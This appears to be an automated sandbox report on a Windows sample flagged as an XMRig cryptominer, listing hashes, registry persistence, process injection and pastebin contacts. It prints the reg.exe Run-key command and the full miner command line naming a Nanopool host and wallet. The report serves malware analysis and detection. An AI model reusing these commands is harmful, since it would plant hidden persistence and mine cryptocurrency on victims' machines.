Analysis
- max time kernel
149s - max time network
143s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
01/07/2026, 03:13
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
f6c9022a1fcf00dd0b1a31053978e45a4ab4040215abe3f44333b96920ee46e6.exe
Resource
win10v2004-20260513-en
14 signatures
150 seconds
Behavioral task
behavioral2
Sample
f6c9022a1fcf00dd0b1a31053978e45a4ab4040215abe3f44333b96920ee46e6.exe
Resource
win11ltsc2024-20260629-en
8 signatures
150 seconds
General
- Target f6c9022a1fcf00dd0b1a31053978e45a4ab4040215abe3f44333b96920ee46e6.exe
- Size 6.8MB
- Sample260701-dq9a4afs21
- SHA256 f6c9022a1fcf00dd0b1a31053978e45a4ab4040215abe3f44333b96920ee46e6
- MD5 e3e8a5ffff375d930c5a1b4889943f87
- SHA1 721ba998a989e99607ab5f96217ca6e193e66093
- SHA512 912a9d42ef5cbf25a2689247cc4bab2cbe48431c795e18053d9a7887b811aa671f49b1c484866ee326d265ecc6f265829e62171f185989c4bf12b83dc26f0075
- SSDEEP 196608:s1Tdu6JdemyMjpu6a67buEjcmUInErzvF:YoQdemyMlu6arEbUInErzvF
- TLSH T15076EF13D5E6CEF4C12BE6BC4A629332A91474884E32B12D65D5F3666FF0E38A15DB30
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
Malware Config
Signatures
- XMRig Miner payload 4 IoCs
resource yara_rule behavioral1/memory/2412-11-0x000002C5657F0000-0x000002C565D1A000-memory.dmp xmrig behavioral1/memory/2412-12-0x000002C5657F0000-0x000002C565D1A000-memory.dmp xmrig behavioral1/memory/852-14-0x0000017E96F50000-0x0000017E9747A000-memory.dmp xmrig behavioral1/memory/852-15-0x0000017E96F50000-0x0000017E9747A000-memory.dmp xmrig - Deletes itself 1 IoCs
pid Process 4988 SystemIdle.exe - Executes dropped EXE 1 IoCs
pid Process 4988 SystemIdle.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemIdle = "\"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\SystemIdle\\SystemIdle.exe\"" reg.exe - Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
flow ioc 38 pastebin.com 39 pastebin.com 78 pastebin.com - Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 4988 set thread context of 3964 4988 SystemIdle.exe 97 PID 3964 set thread context of 2412 3964 taskhostw.exe 104 PID 3964 set thread context of 852 3964 taskhostw.exe 108 - Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 taskhostw.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString taskhostw.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 f6c9022a1fcf00dd0b1a31053978e45a4ab4040215abe3f44333b96920ee46e6.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString f6c9022a1fcf00dd0b1a31053978e45a4ab4040215abe3f44333b96920ee46e6.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 SystemIdle.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString SystemIdle.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 3484 reg.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe 3964 taskhostw.exe - Suspicious behavior: MapViewOfSection 3 IoCs
pid Process 4988 SystemIdle.exe 3964 taskhostw.exe 3964 taskhostw.exe - Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeLockMemoryPrivilege 2412 dllhost.exe Token: SeLockMemoryPrivilege 2412 dllhost.exe Token: SeLockMemoryPrivilege 852 dllhost.exe Token: SeLockMemoryPrivilege 852 dllhost.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 2412 dllhost.exe 852 dllhost.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 4700 wrote to memory of 3484 4700 f6c9022a1fcf00dd0b1a31053978e45a4ab4040215abe3f44333b96920ee46e6.exe 85 PID 4700 wrote to memory of 4988 4700 f6c9022a1fcf00dd0b1a31053978e45a4ab4040215abe3f44333b96920ee46e6.exe 87 PID 4988 wrote to memory of 3964 4988 SystemIdle.exe 97 PID 3964 wrote to memory of 2412 3964 taskhostw.exe 104 PID 3964 wrote to memory of 852 3964 taskhostw.exe 108
Processes
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C:\Users\Admin\AppData\Local\Temp\f6c9022a1fcf00dd0b1a31053978e45a4ab4040215abe3f44333b96920ee46e6.exe"C:\Users\Admin\AppData\Local\Temp\f6c9022a1fcf00dd0b1a31053978e45a4ab4040215abe3f44333b96920ee46e6.exe"1⤵
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:4700 -
C:\Windows\SYSTEM32\reg.exereg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SystemIdle /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Microsoft\SystemIdle\SystemIdle.exe\"" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:3484
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C:\Users\Admin\AppData\Local\Microsoft\SystemIdle\SystemIdle.exe"C:\Users\Admin\AppData\Local\Microsoft\SystemIdle\SystemIdle.exe"2⤵
- Deletes itself
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Checks processor information in registry
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4988 -
C:\Windows\System32\taskhostw.exe"C:\Windows\System32\taskhostw.exe"3⤵
- Suspicious use of SetThreadContext
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:3964 -
C:\Windows\System32\dllhost.exe"C:\Windows\System32\dllhost.exe" --donate-level 0 -o xmr-eu2.nanopool.org:10300 -u 83SEBvEoiQSctZi3iXEZUVgwfdKWdWgyEfC26NKSHAuJCCNz96jZpAPSa6rYH3gEbggMN23JPjJWFPw9QT7bUxz9NhCmCUj -p dDYpYlqGPzqsIapA -t 2 -a rx/0 --http-port 582044⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2412
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C:\Windows\System32\dllhost.exe"C:\Windows\System32\dllhost.exe" --donate-level 0 -o xmr-eu2.nanopool.org:10300 -u 83SEBvEoiQSctZi3iXEZUVgwfdKWdWgyEfC26NKSHAuJCCNz96jZpAPSa6rYH3gEbggMN23JPjJWFPw9QT7bUxz9NhCmCUj -p dDYpYlqGPzqsIapA -t 2 -a rx/0 --http-port 582044⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:852
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\SystemIdle\SystemIdle.exe
- Size 6.8MB
- SHA256 83ff17f64e953234fc3817dde0ae99f56b737fe3a75696448d344259b3585231
- MD5 6cdc9f5854a616b83382b01758fd1a32
- SHA1 bd0c63b40a173be31a53e4d295ff30e4cb157085
- SHA512 1cea455ff61f5fa76e30e939b73795f92e05c24b9ae8469d824f25e66d5c88a1cc10521655ae4aab02ac9be09b13f6cd5d2f19a1b799c2135b28ae7393463793
- SSDEEP 196608:J1Tdu6JdemyMjpu6a67buEjcmUInErzvF:LoQdemyMlu6arEbUInErzvF
- TLSH T14F76EF13D5E6CEF4C12BE6BC4A629332A91474884E32B12D65D5F3666FF0E38A15DB30
- MD5 SHA1 SHA512 SSDEEP TLSH